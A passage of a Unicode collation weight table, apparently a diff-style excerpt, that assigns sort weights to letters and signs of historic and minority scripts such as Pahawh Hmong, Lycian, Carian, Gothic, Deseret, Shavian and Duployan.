+16B1D ; [.4372.0020.0002] # PAHAWH HMONG CONSONANT NTSAU
+16B1E ; [.4373.0020.0002] # PAHAWH HMONG CONSONANT LAU
+16B1F ; [.4374.0020.0002] # PAHAWH HMONG CONSONANT HAU
+16B20 ; [.4375.0020.0002] # PAHAWH HMONG CONSONANT NLAU
+16B21 ; [.4376.0020.0002] # PAHAWH HMONG CONSONANT RAU
+16B22 ; [.4377.0020.0002] # PAHAWH HMONG CONSONANT NKAU
+16B23 ; [.4378.0020.0002] # PAHAWH HMONG CONSONANT QHAU
+16B24 ; [.4379.0020.0002] # PAHAWH HMONG CONSONANT YAU
+16B25 ; [.437A.0020.0002] # PAHAWH HMONG CONSONANT HLAU
+16B26 ; [.437B.0020.0002] # PAHAWH HMONG CONSONANT MAU
+16B27 ; [.437C.0020.0002] # PAHAWH HMONG CONSONANT CHAU
+16B28 ; [.437D.0020.0002] # PAHAWH HMONG CONSONANT NCHAU
+16B29 ; [.437E.0020.0002] # PAHAWH HMONG CONSONANT HNAU
+16B2A ; [.437F.0020.0002] # PAHAWH HMONG CONSONANT PLHAU
+16B2B ; [.4380.0020.0002] # PAHAWH HMONG CONSONANT NTHAU
+16B2C ; [.4381.0020.0002] # PAHAWH HMONG CONSONANT NAU
+16B2D ; [.4382.0020.0002] # PAHAWH HMONG CONSONANT AU
+16B2E ; [.4383.0020.0002] # PAHAWH HMONG CONSONANT XAU
+16B2F ; [.4384.0020.0002] # PAHAWH HMONG CONSONANT CAU
+16B40 ; [.4385.0020.0002] # PAHAWH HMONG SIGN VOS SEEV
+16B41 ; [.4386.0020.0002] # PAHAWH HMONG SIGN MEEJ SUAB
+16B63 ; [.4387.0020.0002] # PAHAWH HMONG SIGN VOS LUB
+16B64 ; [.4388.0020.0002] # PAHAWH HMONG SIGN XYOO
+16B65 ; [.4389.0020.0002] # PAHAWH HMONG SIGN HLI
+16B66 ; [.438A.0020.0002] # PAHAWH HMONG SIGN THIRD-STAGE HLI
+16B67 ; [.438B.0020.0002] # PAHAWH HMONG SIGN ZWJ THAJ
+16B68 ; [.438C.0020.0002] # PAHAWH HMONG SIGN HNUB
+16B69 ; [.438D.0020.0002] # PAHAWH HMONG SIGN NQIG
+16B6A ; [.438E.0020.0002] # PAHAWH HMONG SIGN XIAB
+16B6B ; [.438F.0020.0002] # PAHAWH HMONG SIGN NTUJ
+16B6C ; [.4390.0020.0002] # PAHAWH HMONG SIGN AV
+16B6D ; [.4391.0020.0002] # PAHAWH HMONG SIGN TXHEEJ CEEV
+16B6E ; [.4392.0020.0002] # PAHAWH HMONG SIGN MEEJ TSEEB
+16B6F ; [.4393.0020.0002] # PAHAWH HMONG SIGN TAU
+16B70 ; [.4394.0020.0002] # PAHAWH HMONG SIGN LOS
+16B71 ; [.4395.0020.0002] # PAHAWH HMONG SIGN MUS
+16B72 ; [.4396.0020.0002] # PAHAWH HMONG SIGN CIM HAIS LUS NTOG NTOG
+16B73 ; [.4397.0020.0002] # PAHAWH HMONG SIGN CIM CUAM TSHOOJ
+16B74 ; [.4398.0020.0002] # PAHAWH HMONG SIGN CIM TXWV
+16B75 ; [.4399.0020.0002] # PAHAWH HMONG SIGN CIM TXWV CHWV
+16B76 ; [.439A.0020.0002] # PAHAWH HMONG SIGN CIM PUB DAWB
+16B77 ; [.439B.0020.0002] # PAHAWH HMONG SIGN CIM NRES TOS
+16B7D ; [.439C.0020.0002] # PAHAWH HMONG CLAN SIGN TSHEEJ
+16B7E ; [.439D.0020.0002] # PAHAWH HMONG CLAN SIGN YEEG
+16B7F ; [.439E.0020.0002] # PAHAWH HMONG CLAN SIGN LIS
+16B80 ; [.439F.0020.0002] # PAHAWH HMONG CLAN SIGN LAUJ
+16B81 ; [.43A0.0020.0002] # PAHAWH HMONG CLAN SIGN XYOOJ
+16B82 ; [.43A1.0020.0002] # PAHAWH HMONG CLAN SIGN KOO
+16B83 ; [.43A2.0020.0002] # PAHAWH HMONG CLAN SIGN HAWJ
+16B84 ; [.43A3.0020.0002] # PAHAWH HMONG CLAN SIGN MUAS
+16B85 ; [.43A4.0020.0002] # PAHAWH HMONG CLAN SIGN THOJ
+16B86 ; [.43A5.0020.0002] # PAHAWH HMONG CLAN SIGN TSAB
+16B87 ; [.43A6.0020.0002] # PAHAWH HMONG CLAN SIGN PHAB
+16B88 ; [.43A7.0020.0002] # PAHAWH HMONG CLAN SIGN KHAB
+16B89 ; [.43A8.0020.0002] # PAHAWH HMONG CLAN SIGN HAM
+16B8A ; [.43A9.0020.0002] # PAHAWH HMONG CLAN SIGN VAJ
+16B8B ; [.43AA.0020.0002] # PAHAWH HMONG CLAN SIGN FAJ
+16B8C ; [.43AB.0020.0002] # PAHAWH HMONG CLAN SIGN YAJ
+16B8D ; [.43AC.0020.0002] # PAHAWH HMONG CLAN SIGN TSWB
+16B8E ; [.43AD.0020.0002] # PAHAWH HMONG CLAN SIGN KWM
+16B8F ; [.43AE.0020.0002] # PAHAWH HMONG CLAN SIGN VWJ
+10280 ; [.43AF.0020.0002] # LYCIAN LETTER A
+10281 ; [.43B0.0020.0002] # LYCIAN LETTER E
+10282 ; [.43B1.0020.0002] # LYCIAN LETTER B
+10283 ; [.43B2.0020.0002] # LYCIAN LETTER BH
+10284 ; [.43B3.0020.0002] # LYCIAN LETTER G
+10285 ; [.43B4.0020.0002] # LYCIAN LETTER D
+10286 ; [.43B5.0020.0002] # LYCIAN LETTER I
+10287 ; [.43B6.0020.0002] # LYCIAN LETTER W
+10288 ; [.43B7.0020.0002] # LYCIAN LETTER Z
+10289 ; [.43B8.0020.0002] # LYCIAN LETTER TH
+1028A ; [.43B9.0020.0002] # LYCIAN LETTER J
+1028B ; [.43BA.0020.0002] # LYCIAN LETTER K
+1028C ; [.43BB.0020.0002] # LYCIAN LETTER Q
+1028D ; [.43BC.0020.0002] # LYCIAN LETTER L
+1028E ; [.43BD.0020.0002] # LYCIAN LETTER M
+1028F ; [.43BE.0020.0002] # LYCIAN LETTER N
+10290 ; [.43BF.0020.0002] # LYCIAN LETTER MM
+10291 ; [.43C0.0020.0002] # LYCIAN LETTER NN
+10292 ; [.43C1.0020.0002] # LYCIAN LETTER U
+10293 ; [.43C2.0020.0002] # LYCIAN LETTER P
+10294 ; [.43C3.0020.0002] # LYCIAN LETTER KK
+10295 ; [.43C4.0020.0002] # LYCIAN LETTER R
+10296 ; [.43C5.0020.0002] # LYCIAN LETTER S
+10297 ; [.43C6.0020.0002] # LYCIAN LETTER T
+10298 ; [.43C7.0020.0002] # LYCIAN LETTER TT
+10299 ; [.43C8.0020.0002] # LYCIAN LETTER AN
+1029A ; [.43C9.0020.0002] # LYCIAN LETTER EN
+1029B ; [.43CA.0020.0002] # LYCIAN LETTER H
+1029C ; [.43CB.0020.0002] # LYCIAN LETTER X
+102A0 ; [.43CC.0020.0002] # CARIAN LETTER A
+102A1 ; [.43CD.0020.0002] # CARIAN LETTER P2
+102A2 ; [.43CE.0020.0002] # CARIAN LETTER D
+102A3 ; [.43CF.0020.0002] # CARIAN LETTER L
+102A4 ; [.43D0.0020.0002] # CARIAN LETTER UUU
+102A5 ; [.43D1.0020.0002] # CARIAN LETTER R
+102A6 ; [.43D2.0020.0002] # CARIAN LETTER LD
+102A7 ; [.43D3.0020.0002] # CARIAN LETTER A2
+102A8 ; [.43D4.0020.0002] # CARIAN LETTER Q
+102A9 ; [.43D5.0020.0002] # CARIAN LETTER B
+102AA ; [.43D6.0020.0002] # CARIAN LETTER M
+102AB ; [.43D7.0020.0002] # CARIAN LETTER O
+102AC ; [.43D8.0020.0002] # CARIAN LETTER D2
+102AD ; [.43D9.0020.0002] # CARIAN LETTER T
+102AE ; [.43DA.0020.0002] # CARIAN LETTER SH
+102AF ; [.43DB.0020.0002] # CARIAN LETTER SH2
+102B0 ; [.43DC.0020.0002] # CARIAN LETTER S
+102B1 ; [.43DD.0020.0002] # CARIAN LETTER C-18
+102B2 ; [.43DE.0020.0002] # CARIAN LETTER U
+102B3 ; [.43DF.0020.0002] # CARIAN LETTER NN
+102B4 ; [.43E0.0020.0002] # CARIAN LETTER X
+102B5 ; [.43E1.0020.0002] # CARIAN LETTER N
+102B6 ; [.43E2.0020.0002] # CARIAN LETTER TT2
+102B7 ; [.43E3.0020.0002] # CARIAN LETTER P
+102B8 ; [.43E4.0020.0002] # CARIAN LETTER SS
+102B9 ; [.43E5.0020.0002] # CARIAN LETTER I
+102BA ; [.43E6.0020.0002] # CARIAN LETTER E
+102BB ; [.43E7.0020.0002] # CARIAN LETTER UUUU
+102BC ; [.43E8.0020.0002] # CARIAN LETTER K
+102BD ; [.43E9.0020.0002] # CARIAN LETTER K2
+102BE ; [.43EA.0020.0002] # CARIAN LETTER ND
+102BF ; [.43EB.0020.0002] # CARIAN LETTER UU
+102C0 ; [.43EC.0020.0002] # CARIAN LETTER G
+102C1 ; [.43ED.0020.0002] # CARIAN LETTER G2
+102C2 ; [.43EE.0020.0002] # CARIAN LETTER ST
+102C3 ; [.43EF.0020.0002] # CARIAN LETTER ST2
+102C4 ; [.43F0.0020.0002] # CARIAN LETTER NG
+102C5 ; [.43F1.0020.0002] # CARIAN LETTER II
+102C6 ; [.43F2.0020.0002] # CARIAN LETTER C-39
+102C7 ; [.43F3.0020.0002] # CARIAN LETTER TT
+102C8 ; [.43F4.0020.0002] # CARIAN LETTER UUU2
+102C9 ; [.43F5.0020.0002] # CARIAN LETTER RR
+102CA ; [.43F6.0020.0002] # CARIAN LETTER MB
+102CB ; [.43F7.0020.0002] # CARIAN LETTER MB2
+102CC ; [.43F8.0020.0002] # CARIAN LETTER MB3
+102CD ; [.43F9.0020.0002] # CARIAN LETTER MB4
+102CE ; [.43FA.0020.0002] # CARIAN LETTER LD2
+102CF ; [.43FB.0020.0002] # CARIAN LETTER E2
+102D0 ; [.43FC.0020.0002] # CARIAN LETTER UUU3
+10920 ; [.43FD.0020.0002] # LYDIAN LETTER A
+10921 ; [.43FE.0020.0002] # LYDIAN LETTER B
+10922 ; [.43FF.0020.0002] # LYDIAN LETTER G
+10923 ; [.4400.0020.0002] # LYDIAN LETTER D
+10924 ; [.4401.0020.0002] # LYDIAN LETTER E
+10925 ; [.4402.0020.0002] # LYDIAN LETTER V
+10926 ; [.4403.0020.0002] # LYDIAN LETTER I
+10927 ; [.4404.0020.0002] # LYDIAN LETTER Y
+10928 ; [.4405.0020.0002] # LYDIAN LETTER K
+10929 ; [.4406.0020.0002] # LYDIAN LETTER L
+1092A ; [.4407.0020.0002] # LYDIAN LETTER M
+1092B ; [.4408.0020.0002] # LYDIAN LETTER N
+1092C ; [.4409.0020.0002] # LYDIAN LETTER O
+1092D ; [.440A.0020.0002] # LYDIAN LETTER R
+1092E ; [.440B.0020.0002] # LYDIAN LETTER SS
+1092F ; [.440C.0020.0002] # LYDIAN LETTER T
+10930 ; [.440D.0020.0002] # LYDIAN LETTER U
+10931 ; [.440E.0020.0002] # LYDIAN LETTER F
+10932 ; [.440F.0020.0002] # LYDIAN LETTER Q
+10933 ; [.4410.0020.0002] # LYDIAN LETTER S
+10934 ; [.4411.0020.0002] # LYDIAN LETTER TT
+10935 ; [.4412.0020.0002] # LYDIAN LETTER AN
+10936 ; [.4413.0020.0002] # LYDIAN LETTER EN
+10937 ; [.4414.0020.0002] # LYDIAN LETTER LY
+10938 ; [.4415.0020.0002] # LYDIAN LETTER NN
+10939 ; [.4416.0020.0002] # LYDIAN LETTER C
+10300 ; [.4417.0020.0002] # OLD ITALIC LETTER A
+10301 ; [.4418.0020.0002] # OLD ITALIC LETTER BE
+10302 ; [.4419.0020.0002] # OLD ITALIC LETTER KE
+10303 ; [.441A.0020.0002] # OLD ITALIC LETTER DE
+10304 ; [.441B.0020.0002] # OLD ITALIC LETTER E
+10305 ; [.441C.0020.0002] # OLD ITALIC LETTER VE
+10306 ; [.441D.0020.0002] # OLD ITALIC LETTER ZE
+10307 ; [.441E.0020.0002] # OLD ITALIC LETTER HE
+10308 ; [.441F.0020.0002] # OLD ITALIC LETTER THE
+10309 ; [.4420.0020.0002] # OLD ITALIC LETTER I
+1030A ; [.4421.0020.0002] # OLD ITALIC LETTER KA
+1030B ; [.4422.0020.0002] # OLD ITALIC LETTER EL
+1030C ; [.4423.0020.0002] # OLD ITALIC LETTER EM
+1030D ; [.4424.0020.0002] # OLD ITALIC LETTER EN
+1030E ; [.4425.0020.0002] # OLD ITALIC LETTER ESH
+1031F ; [.4426.0020.0002] # OLD ITALIC LETTER ESS
+1030F ; [.4427.0020.0002] # OLD ITALIC LETTER O
+10310 ; [.4428.0020.0002] # OLD ITALIC LETTER PE
+10311 ; [.4429.0020.0002] # OLD ITALIC LETTER SHE
+10312 ; [.442A.0020.0002] # OLD ITALIC LETTER KU
+10313 ; [.442B.0020.0002] # OLD ITALIC LETTER ER
+10314 ; [.442C.0020.0002] # OLD ITALIC LETTER ES
+10315 ; [.442D.0020.0002] # OLD ITALIC LETTER TE
+10316 ; [.442E.0020.0002] # OLD ITALIC LETTER U
+10317 ; [.442F.0020.0002] # OLD ITALIC LETTER EKS
+10318 ; [.4430.0020.0002] # OLD ITALIC LETTER PHE
+10319 ; [.4431.0020.0002] # OLD ITALIC LETTER KHE
+1031A ; [.4432.0020.0002] # OLD ITALIC LETTER EF
+1031B ; [.4433.0020.0002] # OLD ITALIC LETTER ERS
+1031C ; [.4434.0020.0002] # OLD ITALIC LETTER CHE
+1031D ; [.4435.0020.0002] # OLD ITALIC LETTER II
+1031E ; [.4436.0020.0002] # OLD ITALIC LETTER UU
+10330 ; [.4437.0020.0002] # GOTHIC LETTER AHSA
+10331 ; [.4438.0020.0002] # GOTHIC LETTER BAIRKAN
+10332 ; [.4439.0020.0002] # GOTHIC LETTER GIBA
+10333 ; [.443A.0020.0002] # GOTHIC LETTER DAGS
+10334 ; [.443B.0020.0002] # GOTHIC LETTER AIHVUS
+10335 ; [.443C.0020.0002] # GOTHIC LETTER QAIRTHRA
+10336 ; [.443D.0020.0002] # GOTHIC LETTER IUJA
+10337 ; [.443E.0020.0002] # GOTHIC LETTER HAGL
+10338 ; [.443F.0020.0002] # GOTHIC LETTER THIUTH
+10339 ; [.4440.0020.0002] # GOTHIC LETTER EIS
+1033A ; [.4441.0020.0002] # GOTHIC LETTER KUSMA
+1033B ; [.4442.0020.0002] # GOTHIC LETTER LAGUS
+1033C ; [.4443.0020.0002] # GOTHIC LETTER MANNA
+1033D ; [.4444.0020.0002] # GOTHIC LETTER NAUTHS
+1033E ; [.4445.0020.0002] # GOTHIC LETTER JER
+1033F ; [.4446.0020.0002] # GOTHIC LETTER URUS
+10340 ; [.4447.0020.0002] # GOTHIC LETTER PAIRTHRA
+10341 ; [.4448.0020.0002] # GOTHIC LETTER NINETY
+10342 ; [.4449.0020.0002] # GOTHIC LETTER RAIDA
+10343 ; [.444A.0020.0002] # GOTHIC LETTER SAUIL
+10344 ; [.444B.0020.0002] # GOTHIC LETTER TEIWS
+10345 ; [.444C.0020.0002] # GOTHIC LETTER WINJA
+10346 ; [.444D.0020.0002] # GOTHIC LETTER FAIHU
+10347 ; [.444E.0020.0002] # GOTHIC LETTER IGGWS
+10348 ; [.444F.0020.0002] # GOTHIC LETTER HWAIR
+10349 ; [.4450.0020.0002] # GOTHIC LETTER OTHAL
+1034A ; [.4451.0020.0002] # GOTHIC LETTER NINE HUNDRED
+10428 ; [.4452.0020.0002] # DESERET SMALL LETTER LONG I
+10400 ; [.4452.0020.0008] # DESERET CAPITAL LETTER LONG I
+10429 ; [.4453.0020.0002] # DESERET SMALL LETTER LONG E
+10401 ; [.4453.0020.0008] # DESERET CAPITAL LETTER LONG E
+1042A ; [.4454.0020.0002] # DESERET SMALL LETTER LONG A
+10402 ; [.4454.0020.0008] # DESERET CAPITAL LETTER LONG A
+1042B ; [.4455.0020.0002] # DESERET SMALL LETTER LONG AH
+10403 ; [.4455.0020.0008] # DESERET CAPITAL LETTER LONG AH
+1042C ; [.4456.0020.0002] # DESERET SMALL LETTER LONG O
+10404 ; [.4456.0020.0008] # DESERET CAPITAL LETTER LONG O
+1042D ; [.4457.0020.0002] # DESERET SMALL LETTER LONG OO
+10405 ; [.4457.0020.0008] # DESERET CAPITAL LETTER LONG OO
+1042E ; [.4458.0020.0002] # DESERET SMALL LETTER SHORT I
+10406 ; [.4458.0020.0008] # DESERET CAPITAL LETTER SHORT I
+1042F ; [.4459.0020.0002] # DESERET SMALL LETTER SHORT E
+10407 ; [.4459.0020.0008] # DESERET CAPITAL LETTER SHORT E
+10430 ; [.445A.0020.0002] # DESERET SMALL LETTER SHORT A
+10408 ; [.445A.0020.0008] # DESERET CAPITAL LETTER SHORT A
+10431 ; [.445B.0020.0002] # DESERET SMALL LETTER SHORT AH
+10409 ; [.445B.0020.0008] # DESERET CAPITAL LETTER SHORT AH
+10432 ; [.445C.0020.0002] # DESERET SMALL LETTER SHORT O
+1040A ; [.445C.0020.0008] # DESERET CAPITAL LETTER SHORT O
+10433 ; [.445D.0020.0002] # DESERET SMALL LETTER SHORT OO
+1040B ; [.445D.0020.0008] # DESERET CAPITAL LETTER SHORT OO
+10434 ; [.445E.0020.0002] # DESERET SMALL LETTER AY
+1040C ; [.445E.0020.0008] # DESERET CAPITAL LETTER AY
+10435 ; [.445F.0020.0002] # DESERET SMALL LETTER OW
+1040D ; [.445F.0020.0008] # DESERET CAPITAL LETTER OW
+10436 ; [.4460.0020.0002] # DESERET SMALL LETTER WU
+1040E ; [.4460.0020.0008] # DESERET CAPITAL LETTER WU
+10437 ; [.4461.0020.0002] # DESERET SMALL LETTER YEE
+1040F ; [.4461.0020.0008] # DESERET CAPITAL LETTER YEE
+10438 ; [.4462.0020.0002] # DESERET SMALL LETTER H
+10410 ; [.4462.0020.0008] # DESERET CAPITAL LETTER H
+10439 ; [.4463.0020.0002] # DESERET SMALL LETTER PEE
+10411 ; [.4463.0020.0008] # DESERET CAPITAL LETTER PEE
+1043A ; [.4464.0020.0002] # DESERET SMALL LETTER BEE
+10412 ; [.4464.0020.0008] # DESERET CAPITAL LETTER BEE
+1043B ; [.4465.0020.0002] # DESERET SMALL LETTER TEE
+10413 ; [.4465.0020.0008] # DESERET CAPITAL LETTER TEE
+1043C ; [.4466.0020.0002] # DESERET SMALL LETTER DEE
+10414 ; [.4466.0020.0008] # DESERET CAPITAL LETTER DEE
+1043D ; [.4467.0020.0002] # DESERET SMALL LETTER CHEE
+10415 ; [.4467.0020.0008] # DESERET CAPITAL LETTER CHEE
+1043E ; [.4468.0020.0002] # DESERET SMALL LETTER JEE
+10416 ; [.4468.0020.0008] # DESERET CAPITAL LETTER JEE
+1043F ; [.4469.0020.0002] # DESERET SMALL LETTER KAY
+10417 ; [.4469.0020.0008] # DESERET CAPITAL LETTER KAY
+10440 ; [.446A.0020.0002] # DESERET SMALL LETTER GAY
+10418 ; [.446A.0020.0008] # DESERET CAPITAL LETTER GAY
+10441 ; [.446B.0020.0002] # DESERET SMALL LETTER EF
+10419 ; [.446B.0020.0008] # DESERET CAPITAL LETTER EF
+10442 ; [.446C.0020.0002] # DESERET SMALL LETTER VEE
+1041A ; [.446C.0020.0008] # DESERET CAPITAL LETTER VEE
+10443 ; [.446D.0020.0002] # DESERET SMALL LETTER ETH
+1041B ; [.446D.0020.0008] # DESERET CAPITAL LETTER ETH
+10444 ; [.446E.0020.0002] # DESERET SMALL LETTER THEE
+1041C ; [.446E.0020.0008] # DESERET CAPITAL LETTER THEE
+10445 ; [.446F.0020.0002] # DESERET SMALL LETTER ES
+1041D ; [.446F.0020.0008] # DESERET CAPITAL LETTER ES
+10446 ; [.4470.0020.0002] # DESERET SMALL LETTER ZEE
+1041E ; [.4470.0020.0008] # DESERET CAPITAL LETTER ZEE
+10447 ; [.4471.0020.0002] # DESERET SMALL LETTER ESH
+1041F ; [.4471.0020.0008] # DESERET CAPITAL LETTER ESH
+10448 ; [.4472.0020.0002] # DESERET SMALL LETTER ZHEE
+10420 ; [.4472.0020.0008] # DESERET CAPITAL LETTER ZHEE
+10449 ; [.4473.0020.0002] # DESERET SMALL LETTER ER
+10421 ; [.4473.0020.0008] # DESERET CAPITAL LETTER ER
+1044A ; [.4474.0020.0002] # DESERET SMALL LETTER EL
+10422 ; [.4474.0020.0008] # DESERET CAPITAL LETTER EL
+1044B ; [.4475.0020.0002] # DESERET SMALL LETTER EM
+10423 ; [.4475.0020.0008] # DESERET CAPITAL LETTER EM
+1044C ; [.4476.0020.0002] # DESERET SMALL LETTER EN
+10424 ; [.4476.0020.0008] # DESERET CAPITAL LETTER EN
+1044D ; [.4477.0020.0002] # DESERET SMALL LETTER ENG
+10425 ; [.4477.0020.0008] # DESERET CAPITAL LETTER ENG
+1044E ; [.4478.0020.0002] # DESERET SMALL LETTER OI
+10426 ; [.4478.0020.0008] # DESERET CAPITAL LETTER OI
+1044F ; [.4479.0020.0002] # DESERET SMALL LETTER EW
+10427 ; [.4479.0020.0008] # DESERET CAPITAL LETTER EW
+10450 ; [.447A.0020.0002] # SHAVIAN LETTER PEEP
+10451 ; [.447B.0020.0002] # SHAVIAN LETTER TOT
+10452 ; [.447C.0020.0002] # SHAVIAN LETTER KICK
+10453 ; [.447D.0020.0002] # SHAVIAN LETTER FEE
+10454 ; [.447E.0020.0002] # SHAVIAN LETTER THIGH
+10455 ; [.447F.0020.0002] # SHAVIAN LETTER SO
+10456 ; [.4480.0020.0002] # SHAVIAN LETTER SURE
+10457 ; [.4481.0020.0002] # SHAVIAN LETTER CHURCH
+10458 ; [.4482.0020.0002] # SHAVIAN LETTER YEA
+10459 ; [.4483.0020.0002] # SHAVIAN LETTER HUNG
+1045A ; [.4484.0020.0002] # SHAVIAN LETTER BIB
+1045B ; [.4485.0020.0002] # SHAVIAN LETTER DEAD
+1045C ; [.4486.0020.0002] # SHAVIAN LETTER GAG
+1045D ; [.4487.0020.0002] # SHAVIAN LETTER VOW
+1045E ; [.4488.0020.0002] # SHAVIAN LETTER THEY
+1045F ; [.4489.0020.0002] # SHAVIAN LETTER ZOO
+10460 ; [.448A.0020.0002] # SHAVIAN LETTER MEASURE
+10461 ; [.448B.0020.0002] # SHAVIAN LETTER JUDGE
+10462 ; [.448C.0020.0002] # SHAVIAN LETTER WOE
+10463 ; [.448D.0020.0002] # SHAVIAN LETTER HA-HA
+10464 ; [.448E.0020.0002] # SHAVIAN LETTER LOLL
+10465 ; [.448F.0020.0002] # SHAVIAN LETTER MIME
+10466 ; [.4490.0020.0002] # SHAVIAN LETTER IF
+10467 ; [.4491.0020.0002] # SHAVIAN LETTER EGG
+10468 ; [.4492.0020.0002] # SHAVIAN LETTER ASH
+10469 ; [.4493.0020.0002] # SHAVIAN LETTER ADO
+1046A ; [.4494.0020.0002] # SHAVIAN LETTER ON
+1046B ; [.4495.0020.0002] # SHAVIAN LETTER WOOL
+1046C ; [.4496.0020.0002] # SHAVIAN LETTER OUT
+1046D ; [.4497.0020.0002] # SHAVIAN LETTER AH
+1046E ; [.4498.0020.0002] # SHAVIAN LETTER ROAR
+1046F ; [.4499.0020.0002] # SHAVIAN LETTER NUN
+10470 ; [.449A.0020.0002] # SHAVIAN LETTER EAT
+10471 ; [.449B.0020.0002] # SHAVIAN LETTER AGE
+10472 ; [.449C.0020.0002] # SHAVIAN LETTER ICE
+10473 ; [.449D.0020.0002] # SHAVIAN LETTER UP
+10474 ; [.449E.0020.0002] # SHAVIAN LETTER OAK
+10475 ; [.449F.0020.0002] # SHAVIAN LETTER OOZE
+10476 ; [.44A0.0020.0002] # SHAVIAN LETTER OIL
+10477 ; [.44A1.0020.0002] # SHAVIAN LETTER AWE
+10478 ; [.44A2.0020.0002] # SHAVIAN LETTER ARE
+10479 ; [.44A3.0020.0002] # SHAVIAN LETTER OR
+1047A ; [.44A4.0020.0002] # SHAVIAN LETTER AIR
+1047B ; [.44A5.0020.0002] # SHAVIAN LETTER ERR
+1047C ; [.44A6.0020.0002] # SHAVIAN LETTER ARRAY
+1047D ; [.44A7.0020.0002] # SHAVIAN LETTER EAR
+1047E ; [.44A8.0020.0002] # SHAVIAN LETTER IAN
+1047F ; [.44A9.0020.0002] # SHAVIAN LETTER YEW
+1BC00 ; [.44AA.0020.0002] # DUPLOYAN LETTER H
+1BC01 ; [.44AB.0020.0002] # DUPLOYAN LETTER X
+1BC02 ; [.44AC.0020.0002] # DUPLOYAN LETTER P
+1BC03 ; [.44AD.0020.0002] # DUPLOYAN LETTER T
+1BC04 ; [.44AE.0020.0002] # DUPLOYAN LETTER F
+1BC05 ; [.44AF.0020.0002] # DUPLOYAN LETTER K
+1BC06 ; [.44B0.0020.0002] # DUPLOYAN LETTER L
+1BC07 ; [.44B1.0020.0002] # DUPLOYAN LETTER B
+1BC08 ; [.44B2.0020.0002] # DUPLOYAN LETTER D
+1BC09 ; [.44B3.0020.0002] # DUPLOYAN LETTER V
+1BC0A ; [.44B4.0020.0002] # DUPLOYAN LETTER G
+1BC0B ; [.44B5.0020.0002] # DUPLOYAN LETTER R
+1BC0C ; [.44B6.0020.0002] # DUPLOYAN LETTER P N
+1BC0D ; [.44B7.0020.0002] # DUPLOYAN LETTER D S
+1BC0E ; [.44B8.0020.0002] # DUPLOYAN LETTER F N
+1BC0F ; [.44B9.0020.0002] # DUPLOYAN LETTER K M
+1BC10 ; [.44BA.0020.0002] # DUPLOYAN LETTER R S
+1BC11 ; [.44BB.0020.0002] # DUPLOYAN LETTER TH
+1BC12 ; [.44BC.0020.0002] # DUPLOYAN LETTER SLOAN DH
+1BC13 ; [.44BD.0020.0002] # DUPLOYAN LETTER DH
+1BC14 ; [.44BE.0020.0002] # DUPLOYAN LETTER KK
+1BC15 ; [.44BF.0020.0002] # DUPLOYAN LETTER SLOAN J
+1BC16 ; [.44C0.0020.0002] # DUPLOYAN LETTER HL
+1BC17 ; [.44C1.0020.0002] # DUPLOYAN LETTER LH
+1BC18 ; [.44C2.0020.0002] # DUPLOYAN LETTER RH
+1BC19 ; [.44C3.0020.0002] # DUPLOYAN LETTER M
+1BC1A ; [.44C4.0020.0002] # DUPLOYAN LETTER N
+1BC1B ; [.44C5.0020.0002] # DUPLOYAN LETTER J
+1BC1C ; [.44C6.0020.0002] # DUPLOYAN LETTER S
+1BC1D ; [.44C7.0020.0002] # DUPLOYAN LETTER M N
+1BC1E ; [.44C8.0020.0002] # DUPLOYAN LETTER N M
+1BC1F ; [.44C9.0020.0002] # DUPLOYAN LETTER J M
+1BC20 ; [.44CA.0020.0002] # DUPLOYAN LETTER S J
+1BC21 ; [.44CB.0020.0002] # DUPLOYAN LETTER M WITH DOT
+1BC22 ; [.44CC.0020.0002] # DUPLOYAN LETTER N WITH DOT
+1BC23 ; [.44CD.0020.0002] # DUPLOYAN LETTER J WITH DOT
+1BC24 ; [.44CE.0020.0002] # DUPLOYAN LETTER J WITH DOTS INSIDE AND ABOVE
+1BC25 ; [.44CF.0020.0002] # DUPLOYAN LETTER S WITH DOT
+1BC26 ; [.44D0.0020.0002] # DUPLOYAN LETTER S WITH DOT BELOW
+1BC27 ; [.44D1.0020.0002] # DUPLOYAN LETTER M S
+1BC28 ; [.44D2.0020.0002] # DUPLOYAN LETTER N S
+1BC29 ; [.44D3.0020.0002] # DUPLOYAN LETTER J S
+1BC2A ; [.44D4.0020.0002] # DUPLOYAN LETTER S S
+1BC2B ; [.44D5.0020.0002] # DUPLOYAN LETTER M N S
+1BC2C ; [.44D6.0020.0002] # DUPLOYAN LETTER N M S
+1BC2D ; [.44D7.0020.0002] # DUPLOYAN LETTER J M S
+1BC2E ; [.44D8.0020.0002] # DUPLOYAN LETTER S J S
+1BC2F ; [.44D9.0020.0002] # DUPLOYAN LETTER J S WITH DOT
+1BC30 ; [.44DA.0020.0002] # DUPLOYAN LETTER J N
+1BC31 ; [.44DB.0020.0002] # DUPLOYAN LETTER J N S
+1BC32 ; [.44DC.0020.0002] # DUPLOYAN LETTER S T
+1BC33 ; [.44DD.0020.0002] # DUPLOYAN LETTER S T R
+1BC34 ; [.44DE.0020.0002] # DUPLOYAN LETTER S P
+1BC35 ; [.44DF.0020.0002] # DUPLOYAN LETTER S P R
+1BC36 ; [.44E0.0020.0002] # DUPLOYAN LETTER T S
+1BC37 ; [.44E1.0020.0002] # DUPLOYAN LETTER T R S
+1BC38 ; [.44E2.0020.0002] # DUPLOYAN LETTER W
+1BC39 ; [.44E3.0020.0002] # DUPLOYAN LETTER WH
+1BC3A ; [.44E4.0020.0002] # DUPLOYAN LETTER W R
+1BC3B ; [.44E5.0020.0002] # DUPLOYAN LETTER S N
+1BC3C ; [.44E6.0020.0002] # DUPLOYAN LETTER S M
+1BC3D ; [.44E7.0020.0002] # DUPLOYAN LETTER K R S
+1BC3E ; [.44E8.0020.0002] # DUPLOYAN LETTER G R S
+1BC3F ; [.44E9.0020.0002] # DUPLOYAN LETTER S K
+1BC40 ; [.44EA.0020.0002] # DUPLOYAN LETTER S K R
+1BC41 ; [.44EB.0020.0002] # DUPLOYAN LETTER A
+1BC42 ; [.44EC.0020.0002] # DUPLOYAN LETTER SLOAN OW
+1BC43 ; [.44ED.0020.0002] # DUPLOYAN LETTER OA
+1BC44 ; [.44EE.0020.0002] # DUPLOYAN LETTER O
+1BC45 ; [.44EF.0020.0002] # DUPLOYAN LETTER AOU
+1BC46 ; [.44F0.0020.0002] # DUPLOYAN LETTER I
+1BC47 ; [.44F1.0020.0002] # DUPLOYAN LETTER E
+1BC48 ; [.44F2.0020.0002] # DUPLOYAN LETTER IE
+1BC49 ; [.44F3.0020.0002] # DUPLOYAN LETTER SHORT I
+1BC4A ; [.44F4.0020.0002] # DUPLOYAN LETTER UI
+1BC4B ; [.44F5.0020.0002] # DUPLOYAN LETTER EE
